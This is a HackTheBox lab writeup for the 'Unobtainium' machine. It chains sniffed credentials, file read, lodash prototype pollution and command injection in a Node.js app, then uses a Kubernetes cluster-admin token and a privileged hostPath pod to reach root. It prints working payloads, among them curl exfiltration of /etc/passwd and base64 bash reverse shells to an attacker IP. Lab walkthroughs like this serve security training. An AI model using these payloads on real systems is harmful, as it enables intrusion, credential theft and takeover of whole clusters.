Synth & Syntax

Unobtainium - HackTheBox (HTB) - Hard Box Writeup

13 minutes
Cybersecurity
HackTheBox
Unobtainium - HackTheBox (HTB) - Hard Box Writeup
Unobtainium - HackTheBox (HTB) - Hard Box Writeup

Unobtainium

Challenge style
Challenge style
Difficulty
Difficulty

Nmap Scan

As always we start with our port scan.

Terminal window
1
└─$ sudo nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan 10.129.84.247
2
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
3
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-21 12:52 BST
4
Nmap scan report for 10.129.84.247
5
Host is up (0.020s latency).
6
Not shown: 65527 closed ports
7
PORT STATE SERVICE VERSION
8
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
9
| ssh-hostkey:
10
| 3072 e4:bf:68:42:e5:74:4b:06:58:78:bd:ed:1e:6a:df:66 (RSA)
11
| 256 bd:88:a1:d9:19:a0:12:35:ca:d3:fa:63:76:48:dc:65 (ECDSA)
12
|_ 256 cf:c4:19:25:19:fa:6e:2e:b7:a4:aa:7d:c3:f1:3d:9b (ED25519)
13
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
14
|_http-server-header: Apache/2.4.41 (Ubuntu)
15
|_http-title: Unobtainium
16
2379/tcp open ssl/etcd-client?
17
| ssl-cert: Subject: commonName=unobtainium
18
| Subject Alternative Name: DNS:localhost, DNS:unobtainium, IP Address:10.10.10.3, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
19
| Not valid before: 2021-01-17T07:10:30
20
|_Not valid after: 2022-01-17T07:10:30
21
|_ssl-date: TLS randomness does not represent time
22
| tls-alpn:
23
|_ h2
24
| tls-nextprotoneg:
25
|_ h2
26
2380/tcp open ssl/etcd-server?
27
| ssl-cert: Subject: commonName=unobtainium
28
| Subject Alternative Name: DNS:localhost, DNS:unobtainium, IP Address:10.10.10.3, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
29
| Not valid before: 2021-01-17T07:10:30
30
|_Not valid after: 2022-01-17T07:10:30
31
|_ssl-date: TLS randomness does not represent time
32
| tls-alpn:
33
|_ h2
34
| tls-nextprotoneg:
35
|_ h2
36
8443/tcp open ssl/https-alt
37
| fingerprint-strings:
38
| FourOhFourRequest:
39
| HTTP/1.0 403 Forbidden
40
| Cache-Control: no-cache, private
41
| Content-Type: application/json
42
| X-Content-Type-Options: nosniff
43
| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
44
| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
45
| Date: Wed, 21 Apr 2021 11:53:23 GMT
46
| Content-Length: 212
47
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
48
| GenericLines:
49
| HTTP/1.1 400 Bad Request
50
| Content-Type: text/plain; charset=utf-8
51
| Connection: close
52
| Request
53
| GetRequest:
54
| HTTP/1.0 403 Forbidden
55
| Cache-Control: no-cache, private
56
| Content-Type: application/json
57
| X-Content-Type-Options: nosniff
58
| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
59
| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
60
| Date: Wed, 21 Apr 2021 11:53:23 GMT
61
| Content-Length: 185
62
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
63
| HTTPOptions:
64
| HTTP/1.0 403 Forbidden
65
| Cache-Control: no-cache, private
66
| Content-Type: application/json
67
| X-Content-Type-Options: nosniff
68
| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
69
| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
70
| Date: Wed, 21 Apr 2021 11:53:23 GMT
71
| Content-Length: 189
72
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
73
|_http-title: Site doesn't have a title (application/json).
74
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
75
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.129.84.247, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
76
| Not valid before: 2021-04-20T11:42:31
77
|_Not valid after: 2022-04-21T11:42:31
78
|_ssl-date: TLS randomness does not represent time
79
| tls-alpn:
80
| h2
81
|_ http/1.1
82
10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
83
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
84
| ssl-cert: Subject: commonName=unobtainium@1610865428
85
| Subject Alternative Name: DNS:unobtainium
86
| Not valid before: 2021-01-17T05:37:08
87
|_Not valid after: 2022-01-17T05:37:08
88
|_ssl-date: TLS randomness does not represent time
89
| tls-alpn:
90
| h2
91
|_ http/1.1
92
10256/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
93
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
94
31337/tcp open http Node.js Express framework
95
| http-methods:
96
|_ Potentially risky methods: PUT DELETE
97
|_http-title: Site doesn't have a title (application/json; charset=utf-8)

A lot of ports open, lets summarise.

PortDescription
22
80HTTP Server
2379etcd-client
2380etcd-client
8443?
10249, 10250, 10256?
32337Unobtainium chat

Port 80

Opening the machines IP in browser we can see a simple website. It describes a chat application and provides us with a few downloads and a txt files containing checksums. A quick scan of the website html source shows nothing interesting.

I’m on Kali so I downloaded the .deb version for analysis.

Screenshot of site
Screenshot of site

http://10.129.84.247/downloads/checksums.txt

Terminal window
1
c9fe8a2bbc66290405803c3d4a37cf28 unobtainium_1.0.0_amd64.deb
2
d61b48f165dab41af14c49232975f6a1 unobtainium_1.0.0_amd64.snap
3
9e35724c18f9f98192f0412c89ba54c7 unobtainium-1.0.0.x86_64.rpm

Inspecting the Application

After downloading the package I unzipped it like so:

./images/Untitled_4.png
./images/Untitled_4.png

We can now extract the files from the .deb package using dpkg-deb.

Terminal window
1
┌──(dan㉿kali)-[~/HacktheBox/unobtainium]
2
└─$ mkdir extracted-deb
3
4
┌──(dan㉿kali)-[~/HacktheBox/unobtainium]
5
└─$ dpkg-deb -xv unobtainium_1.0.0_amd64.deb ./extracted-deb
6
./
7
./usr/
8
./usr/share/
9
./usr/share/icons/
10
./usr/share/icons/hicolor/
11
./usr/share/icons/hicolor/32x32/
12
./usr/share/icons/hicolor/32x32/apps/
13
./usr/share/icons/hicolor/32x32/apps/unobtainium.png
14
./usr/share/icons/hicolor/48x48/
15
./usr/share/icons/hicolor/48x48/apps/
16
./usr/share/icons/hicolor/48x48/apps/unobtainium.png
17
./usr/share/icons/hicolor/256x256/
18
./usr/share/icons/hicolor/256x256/apps/
19
./usr/share/icons/hicolor/256x256/apps/unobtainium.png
20
./usr/share/icons/hicolor/128x128/
21
./usr/share/icons/hicolor/128x128/apps/
22
./usr/share/icons/hicolor/128x128/apps/unobtainium.png
23
./usr/share/icons/hicolor/64x64/
24
./usr/share/icons/hicolor/64x64/apps/
25
./usr/share/icons/hicolor/64x64/apps/unobtainium.png
26
./usr/share/icons/hicolor/16x16/
27
./usr/share/icons/hicolor/16x16/apps/
28
./usr/share/icons/hicolor/16x16/apps/unobtainium.png
29
./usr/share/applications/
30
./usr/share/applications/unobtainium.desktop
31
./usr/share/doc/
32
./usr/share/doc/unobtainium/
33
./usr/share/doc/unobtainium/changelog.gz
34
./opt/
35
./opt/unobtainium/
36
./opt/unobtainium/libvulkan.so
37
./opt/unobtainium/chrome_100_percent.pak
38
./opt/unobtainium/unobtainium
39
./opt/unobtainium/libffmpeg.so
40
./opt/unobtainium/snapshot_blob.bin
41
./opt/unobtainium/v8_context_snapshot.bin
42
./opt/unobtainium/vk_swiftshader_icd.json
43
./opt/unobtainium/LICENSE.electron.txt
44
./opt/unobtainium/locales/
45
./opt/unobtainium/locales/th.pak
46
./opt/unobtainium/locales/da.pak
47
./opt/unobtainium/locales/gu.pak
48
./opt/unobtainium/locales/ro.pak
49
./opt/unobtainium/locales/it.pak
50
./opt/unobtainium/locales/fil.pak
51
./opt/unobtainium/locales/fi.pak
52
./opt/unobtainium/locales/ml.pak
53
./opt/unobtainium/locales/hu.pak
54
./opt/unobtainium/locales/id.pak
55
./opt/unobtainium/locales/zh-CN.pak
56
./opt/unobtainium/locales/bg.pak
57
./opt/unobtainium/locales/hi.pak
58
./opt/unobtainium/locales/sk.pak
59
./opt/unobtainium/locales/fr.pak
60
./opt/unobtainium/locales/mr.pak
61
./opt/unobtainium/locales/et.pak
62
./opt/unobtainium/locales/kn.pak
63
./opt/unobtainium/locales/ar.pak
64
./opt/unobtainium/locales/he.pak
65
./opt/unobtainium/locales/sv.pak
66
./opt/unobtainium/locales/en-GB.pak
67
./opt/unobtainium/locales/cs.pak
68
./opt/unobtainium/locales/te.pak
69
./opt/unobtainium/locales/el.pak
70
./opt/unobtainium/locales/pt-PT.pak
71
./opt/unobtainium/locales/hr.pak
72
./opt/unobtainium/locales/ru.pak
73
./opt/unobtainium/locales/ca.pak
74
./opt/unobtainium/locales/es.pak
75
./opt/unobtainium/locales/sw.pak
76
./opt/unobtainium/locales/uk.pak
77
./opt/unobtainium/locales/fa.pak
78
./opt/unobtainium/locales/ko.pak
79
./opt/unobtainium/locales/es-419.pak
80
./opt/unobtainium/locales/vi.pak
81
./opt/unobtainium/locales/lv.pak
82
./opt/unobtainium/locales/zh-TW.pak
83
./opt/unobtainium/locales/pl.pak
84
./opt/unobtainium/locales/pt-BR.pak
85
./opt/unobtainium/locales/sl.pak
86
./opt/unobtainium/locales/nl.pak
87
./opt/unobtainium/locales/ja.pak
88
./opt/unobtainium/locales/sr.pak
89
./opt/unobtainium/locales/am.pak
90
./opt/unobtainium/locales/bn.pak
91
./opt/unobtainium/locales/ms.pak
92
./opt/unobtainium/locales/nb.pak
93
./opt/unobtainium/locales/tr.pak
94
./opt/unobtainium/locales/de.pak
95
./opt/unobtainium/locales/ta.pak
96
./opt/unobtainium/locales/en-US.pak
97
./opt/unobtainium/locales/lt.pak
98
./opt/unobtainium/chrome-sandbox
99
./opt/unobtainium/libEGL.so
100
./opt/unobtainium/resources/
101
./opt/unobtainium/resources/app.asar
102
./opt/unobtainium/chrome_200_percent.pak
103
./opt/unobtainium/libGLESv2.so
104
./opt/unobtainium/swiftshader/
105
./opt/unobtainium/swiftshader/libEGL.so
106
./opt/unobtainium/swiftshader/libGLESv2.so
107
./opt/unobtainium/resources.pak
108
./opt/unobtainium/icudtl.dat
109
./opt/unobtainium/LICENSES.chromium.html
110
./opt/unobtainium/libvk_swiftshader.so
111
112
┌──(dan㉿kali)-[~/HacktheBox/unobtainium]
113
└─$ cd extracted-deb
114
115
┌──(dan㉿kali)-[~/HacktheBox/unobtainium/extracted-deb]
116
└─$ cd opt
117
118
┌──(dan㉿kali)-[~/HacktheBox/unobtainium/extracted-deb/opt]
119
└─$ ls
120
unobtainium

We can find an executable for the application in: extracted-deb/opt/unobtainium

./images/Untitled_5.png
./images/Untitled_5.png

Let’s try running it and see what happens.

Terminal window
1
┌──(dan㉿kali)-[~/…/unobtainium/extracted-deb/opt/unobtainium]
2
└─$ ./unobtainium
3
(node:345446) electron: The default of contextIsolation is deprecated and will be changing from false to true in a future release of Electron. See https://github.com/electron/electron/issues/23506 for more information

Looks like it launches an electron app, but we get an error: Unable to reach unobtainium.htb

./images/Untitled_6.png
./images/Untitled_6.png

We need to update our /etc/hosts file.

./images/Untitled_7.png
./images/Untitled_7.png

After playing around and testing things a bit it seems like the only functionality implemented is the UI, message log, and post messages function. There is a Todo screen with the following:

./images/Untitled_8.png
./images/Untitled_8.png

Message log displays messages in JSON

Terminal window
1
[{"icon":"__","text":"test","id":1,"timestamp":1619018632376,"userName":"felamos"},{"icon":"__","text":"todo","id":2,"timestamp":1619018759017,"userName":"felamos"}]

We enumerate a possible username from this: felamos

Sniffing Credentials

Let’s try sniffing the requests with Wireshark for anything interesting.

./images/Untitled_9.png
./images/Untitled_9.png

Perfect. Looks like we captured a POST request that sends credentials in plaintext. Let’s note what we have gathered:

name: felamos password: Winter2021 host: unobtainium.htb:31337 URI: http://unobtainium.htb:31337/todo filename: todo.txt

We’ve gained credentials, and an endpoint we can try to exploit. As we can see in the request the application is sending a POST request which passes a filename as an argument. If the backend is reading files then we can test it for LFI (local file inclusion) vulnerabilities.

Exploiting Todo

Adding the request to Burpsuite repeater we can experiment and try to discover more.

Terminal window
1
POST /todo HTTP/1.1
2
Host: unobtainium.htb:31337
3
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36
4
Accept: */*
5
Content-Type: application/json
6
Content-Length: 73
7
Connection: close
8
9
{
10
"auth":{
11
"name":"felamos",
12
"password":"Winter2021"
13
},
14
"filename":"todo.txt"
15
}

We can successfully send a request for the todo.txt. Let’s try for some other things. I tested for /etc/passwd, user.txt, todox.txt, and blank.

It seems the server doesn’t give a response unless the file exists or no parameter is supplied. With a blank filename we get the following:

Terminal window
1
Error: ENOENT: no such file or directory, open<br> &nbsp; &nbsp;at Object.openSync (fs.js:476:3)<br> &nbsp; &nbsp;at Object.readFileSync (fs.js:377:35)<br> &nbsp; &nbsp;at /usr/src/app/index.js:86:41<br> &nbsp; &nbsp;at Array.forEach (&lt;anonymous&gt;)<br> &nbsp; &nbsp;at /usr/src/app/index.js:84:36<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at next (/usr/src/app/node_modules/express/lib/router/route.js:137:13)<br> &nbsp; &nbsp;at Route.dispatch (/usr/src/app/node_modules/express/lib/router/route.js:112:3)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at /usr/src/app/node_modules/express/lib/router/index.js:281:22

We get a little information on where the app lives /usr/src/app/index.js alongside knowing it is JavaScript backend. We can try grabbing the package.json and looking for what dependences the server is using - this may lead to something we can exploit!

Success!

Terminal window
1
{
2
"name": "Unobtainium-Server",
3
"version": "1.0.0",
4
"description": "API Service for Electron client",
5
"main": "index.js",
6
"scripts": {
7
"start": "node index.js"
8
},
9
"author": "felamos",
10
"license": "ISC",
11
"dependencies": {
12
"body-parser": "1.18.3",
13
"express": "4.16.4",
14
"lodash": "4.17.4",
15
"google-cloudstorage-commands": "0.0.1"
16
},
17
"devDependencies": {}
18
}

Let’s look for some CVE’s

google-cloudstorage-commands

Affected versions of this package are vulnerable to Command Injection.

Terminal window
1
var root = require("google-cloudstorage-commands");
2
root.upload("./","& touch JHU", true);

lodash has a number of possible vulnerabilities so lets see if we can get a bit more out of our LFI.

Terminal window
1
POST /todo HTTP/1.1
2
Host: unobtainium.htb:31337
3
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36
4
Accept: */*
5
Content-Type: application/json
6
Content-Length: 92
7
Connection: close
8
9
{
10
"auth":{
11
"name":"felamos",
12
"password":"Winter2021"
13
},
14
"filename":"index.js"
15
}
1
app.put("/", (req, res) => {
2
const user = findUser(req.body.auth || {})
3
4
if (!user) {
5
res.status(403).send({ ok: false, error: "Access denied" })
6
return
7
}
8
9
const message = {
10
icon: "__"
11
}
12
13
_.merge(message, req.body.message, {
14
id: lastId++,
15
timestamp: Date.now(),
16
userName: user.name
17
})
18
19
messages.push(message)
20
res.send({ ok: true })
21
})
1
app.post("/upload", (req, res) => {
2
const user = findUser(req.body.auth || {})
3
if (!user || !user.canUpload) {
4
res.status(403).send({ ok: false, error: "Access denied" })
5
return
6
}
7
8
filename = req.body.filename
9
root.upload("./", filename, true)
10
res.send({ ok: true, Uploaded_File: filename })
11
})

Grabbing the index.js gives us something to work with. We can see there is an /upload endpoint and also a PUT request that uses lodash’s merge(). Looks like there’s a CVE for that: https://snyk.io/vuln/SNYK-JS-LODASH-73638

Together we have a prototype pollution and a command injection vulnerability. We could try using the lodash vuln to enable uploads and then the google-cloudstorage-commands vuln to upload a reverse shell? Let’s give it a try,

https://github.com/Kirill89/prototype-pollution-explained

Kirill89 demonstrates a PoC for this exact lodash vulnerability - we just modify the payload to:

1
"__proto__":{
2
"canUpload":true,
3
"canDelete":true,
4
}
Terminal window
1
PUT / HTTP/1.1
2
Host: unobtainium.htb:31337
3
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36
4
Accept: */*
5
Content-Type: application/json
6
Content-Length: 157
7
Connection: close
8
9
{
10
"auth":{
11
"name":"felamos",
12
"password":"Winter2021"
13
},
14
"message":{
15
"text": "boop",
16
"__proto__":{
17
"canUpload":true,
18
"canDelete":true
19
}
20
}
21
}
Terminal window
1
HTTP/1.1 200 OK
2
X-Powered-By: Express
3
Content-Type: application/json; charset=utf-8
4
Content-Length: 11
5
ETag: W/"b-Ai2R8hgEarLmHKwesT1qcY913ys"
6
Date: Wed, 21 Apr 2021 19:47:58 GMT
7
Connection: close
8
9
{"ok":true}

Next lets try exploiting the RCE, looking through the index.js source we can see it takes a filename parameter and returns the same filename if successful. This means we need to craft our payload to send us the confirmation. We’ll setup a HTTP server with updog.

./images/Untitled_10.png
./images/Untitled_10.png

Then we run our attack by POST to the /upload endpoint.

Terminal window
1
POST /upload HTTP/1.1
2
Host: unobtainium.htb:31337
3
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36
4
Accept: */*
5
Content-Type: application/json
6
Content-Length: 140
7
Connection: close
8
9
{
10
"auth":{
11
"name":"felamos",
12
"password":"Winter2021"
13
},
14
"filename":"& curl http://10.10.14.90:1234/$(cat /etc/passwd|base64)"
15
}
Success
Success

Success

Terminal window
1
root:x:0:0:root:/root:/bin/bash
2
daemon:x:1:1:daemon:/usr/

Looks like it works. Now lets setup a pwncat listener and send our reverse shell command

Terminal window
1
┌──(dan㉿kali)-[~/HacktheBox/unobtainium]
2
└─$ echo "bash -c 'bash -i >& /dev/tcp/10.10.14.90/4444 0>&1'" | base64
3
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45MC80NDQ0IDA+JjEnCg==
Terminal window
1
echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45MC80NDQ0IDA+JjEnCg== | base64 -d | bash 2>/dev/null
listen for connection
listen for connection

listen for connection

send exploit
send exploit

send exploit

success!
success!

success!

We can the get our user flag!

./images/Untitled_15.png
./images/Untitled_15.png

The fact we got our user flag as root is an obvious indicator that we are in a container. Now we try some enumeration with LinEnum.

./images/Untitled_16.png
./images/Untitled_16.png
./images/Untitled_17.png
./images/Untitled_17.png
./images/Untitled_18.png
./images/Untitled_18.png
./images/Untitled_19.png
./images/Untitled_19.png
./images/Untitled_20.png
./images/Untitled_20.png

Looks like we are in kubernetes and there’s an interesting cron job:

Terminal window
1
find / -name kubectl -exec rm {} \;

Looks like this cron is looking for any instances of kubectl - this is the command line tool used to control K8’s clusters. Assuming the reason for this cron is to prevent us from using this tool it makes sense that we should try to circumvent that. https://kubernetes.io/docs/reference/kubectl/overview/

We could do this by uploading a kubectl binary with a different name.

Download kubectl to our local machine:

curl -LO "[https://dl.k8s.io/release/$](https://dl.k8s.io/release/$)(curl -L -s [https://dl.k8s.io/release/stable.txt](https://dl.k8s.io/release/stable.txt))/bin/linux/amd64/kubectl"

./images/Untitled_21.png
./images/Untitled_21.png

Then download it from our HTTP server

./images/Untitled_22.png
./images/Untitled_22.png

Now we try enumerate some:

./images/Untitled_23.png
./images/Untitled_23.png
./images/Untitled_24.png
./images/Untitled_24.png
Terminal window
1
root@webapp-deployment-5d764566f4-lrpt9:~# ./kc describe pods devnode-deployment-cd86fb5c-6ms8d -n dev
2
<cribe pods devnode-deployment-cd86fb5c-6ms8d -n dev
3
Name: devnode-deployment-cd86fb5c-6ms8d
4
Namespace: dev
5
Priority: 0
6
Node: unobtainium/10.129.84.247
7
Start Time: Sun, 17 Jan 2021 18:16:21 +0000
8
Labels: app=devnode
9
pod-template-hash=cd86fb5c
10
Annotations: <none>
11
Status: Running
12
IP: 172.17.0.9
13
IPs:
14
IP: 172.17.0.9
15
Controlled By: ReplicaSet/devnode-deployment-cd86fb5c
16
Containers:
17
devnode:
18
Container ID: docker://02cef9140779577493c9f48fcf1fde47c4f4085cdab7607ea52ec4ac898cd278
19
ogImage: localhost:5000/node_server
20
Image ID: docker-pullable://localhost:5000/node_server@sha256:f3bfd2fc13c7377a380e018279c6e9b647082ca590600672ff787e1bb918e37c
21
Port: 3000/TCP
22
Host Port: 0/TCP
23
State: Running
24
Started: Wed, 21 Apr 2021 11:43:07 +0000
25
Last State: Terminated
26
Reason: Error
27
Exit Code: 137
28
Started: Wed, 24 Mar 2021 10:43:09 +0000
29
Finished: Wed, 24 Mar 2021 10:48:20 +0000
30
Ready: True
31
Restart Count: 27
32
Environment: <none>
33
Mounts:
34
/var/run/secrets/kubernetes.io/serviceaccount from default-token-rmcd6 (ro)
35
Conditions:
36
Type Status
37
Initialized True
38
Ready True
39
ContainersReady True
40
PodScheduled True
41
Volumes:
42
default-token-rmcd6:
43
Type: Secret (a volume populated by a Secret)
44
SecretName: default-token-rmcd6
45
Optional: false
46
QoS Class: BestEffort
47
Node-Selectors: <none>
48
Tolerations: node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
49
node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
50
Events: <none>

After checking things it seems like we are in a different environment, we are in production running our commands against the dev environment. So we can use the same attack we did before to gain a foothold. I setup another pwncat listener on a differ port then ran the previous exploit commands from our current shell against the local IP using curl:

Terminal window
1
curl 172.17.0.9:3000/ -XPUT -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"text":"x","__proto__":{"canUpload":true}}}' -H "Content-Type: application/json"
Terminal window
1
curl 172.17.0.9:3000/upload -XPOST -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45MC81NTU1IDA+JjEnCg== | base64 -d | bash 2>/dev/null"}' -H "Content-Type: application/json"
./images/Untitled_25.png
./images/Untitled_25.png

Success!

We can repeat the process of getting kubectl.

./images/Untitled_26.png
./images/Untitled_26.png

Looks like we can now dump the secrets.

./images/Untitled_27.png
./images/Untitled_27.png

Notice the c-admin-token-tfmp2 this is the cluster admin secret!

Terminal window
1
root@devnode-deployment-cd86fb5c-6ms8d:~# ./kc describe secrets/c-admin-token-tfmp2 -n kube-system
2
<describe secrets/c-admin-token-tfmp2 -n kube-system
3
Name: c-admin-token-tfmp2
4
Namespace: kube-system
5
Labels: <none>
6
Annotations: kubernetes.io/service-account.name: c-admin
7
kubernetes.io/service-account.uid: 2463505f-983e-45bd-91f7-cd59bfe066d0
8
9
Type: kubernetes.io/service-account-token
10
11
Data
12
====
13
token: eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow
14
ca.crt: 1066 bytes
15
namespace: 11 bytes

Check if we can create pods.

./images/Untitled_28.png
./images/Untitled_28.png

Now that we can create pods lets do some research on how to abuse this, if we can create a malicious pod perhaps that’s our path to real root…

Quick Google brings up badPods: https://github.com/BishopFox/badPods

Let’s go with option 1 - Everything Allowed due to us having the cluster admin secret - https://github.com/BishopFox/badPods/tree/main/manifests/everything-allowed

Download the yaml to our local machine and edit it, then following the badpods method we create our pod then execute on it to get our root flag!

./images/Untitled_29.png
./images/Untitled_29.png
1
apiVersion: v1
2
kind: Pod
3
metadata:
4
name: everything-allowed-exec-pod
5
namespace: default
6
spec:
7
hostNetwork: true
8
hostPID: true
9
hostIPC: true
10
containers:
11
- name: everything-allowed-pod
12
ogImage: http://localhost:5000/dev-alpine
13
securityContext:
14
privileged: true
15
volumeMounts:
16
- mountPath: /host
17
name: noderoot
18
command: ["/bin/sh", "-c", "--"]
19
args: ["while true; do sleep 30; done;"]
20
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
21
volumes:
22
- name: noderoot
23
hostPath:
24
path: /
Terminal window
1
./kc --token eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow apply -f everything-allowed-exec-pod.yaml
Terminal window
1
